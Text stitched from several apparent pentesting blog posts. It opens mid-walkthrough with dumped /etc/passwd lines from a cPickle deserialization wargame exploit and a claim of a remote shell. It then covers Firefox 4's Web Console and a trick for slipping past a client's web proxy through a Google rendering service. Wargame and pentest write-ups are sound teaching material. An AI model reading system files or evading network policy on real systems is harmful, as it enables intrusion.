postgres:x:118:127:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
arpalert:x:119:128::/var/lib/arpalert:/bin/sh
privoxy:x:120:65534::/etc/privoxy:/bin/false
debian-tor:x:121:129::/var/lib/tor:/bin/bash
firebird:x:122:130::/var/lib/firebird:/bin/bash
saned:x:123:131::/home/saned:/bin/false
snmp:x:124:65534::/var/lib/snmp:/bin/false
statd:x:125:65534::/var/lib/nfs:/bin/false
festival:x:126:29::/home/festival:/bin/false
We have a remote shell now on the box
If you use cPickle on sockets or in any kind of network communication you’re pretty much owned
For some further reading on the subject check out the following link:
Now take you’re new found knowledge and apply it to the Amateria wargame. If you get stuck or need to discuss any of the levels look at the main website for IRC connection details, the wargames channels are named after the wargames.
Enjoy!
Firefox 4 Web Console
The final version of Firefox 4 is almost here and since it’s my main tool during pentesting I has been checking frequently to be sure I’m not going to be missing anything when the change comes.
As the change is big, some of the extensions are slowly updating their versions to ensure compatibility with the new release (I just did today a quick update of the Hackbar extension to ensure compatibility with FF4) so I still stuck at Firefox 3 to use all the plugins I use to install.
One of these plugins is Live HTTP Headers, a simple plugin that allows me to check what is going under hood in the browser, check request and parameters to later modify and test the website functionality. Well, this extension looks like is not getting (yet) a FF4 update
But today I discovered a new feature in FF4: Web Console. With a tricky shortcut: Ctrl+Shift+K it reveals a debug console with information about HTML/CSS errors, Javascript debugging information and a Net tab to do exactly the same that Live HTTP Headers does: display web browser request and related headers.
OK, maybe it’s not the same ( you cant filter extensions like gif or jpg images) but it also comes with another great stuff, like saving the HTML code generated by the page, allowing quickly review of the result of the request.
Still many things to sort before changing FF3 to FF4 for pentesting but the future looks promising
Using Google to bypass web proxies
Maybe this is something you already know, something is something someone posted long time ago, but I want to share today a quick trick we use when we are on a customer site doing a testing.
Sometimes, during testing, you need to search an exploit, a blog post or some resource to help you suscesfully exploit the vulnerability we just found ( or we think it can be a vulnerability) but the internet access is limited by the company network policy. Yes, we can boot our machines, use tethering with the mobile, download to our machine the code, copy into a USB stick, copy into the testing machine and then execute it. But I’m a bit lazy… (that’s the reason I work with computers, let’s the machines do the hard work
)
Recently, while playing with User Agent strings I discovered a Google service to render website for mobiles. It’s like the Google Cache service but with the advantage you can actually browser the website and, i. e., perform search. Maybe this doesn’t work all the time, but, for me, it worked for me last week so it deserves a try!
Ta!
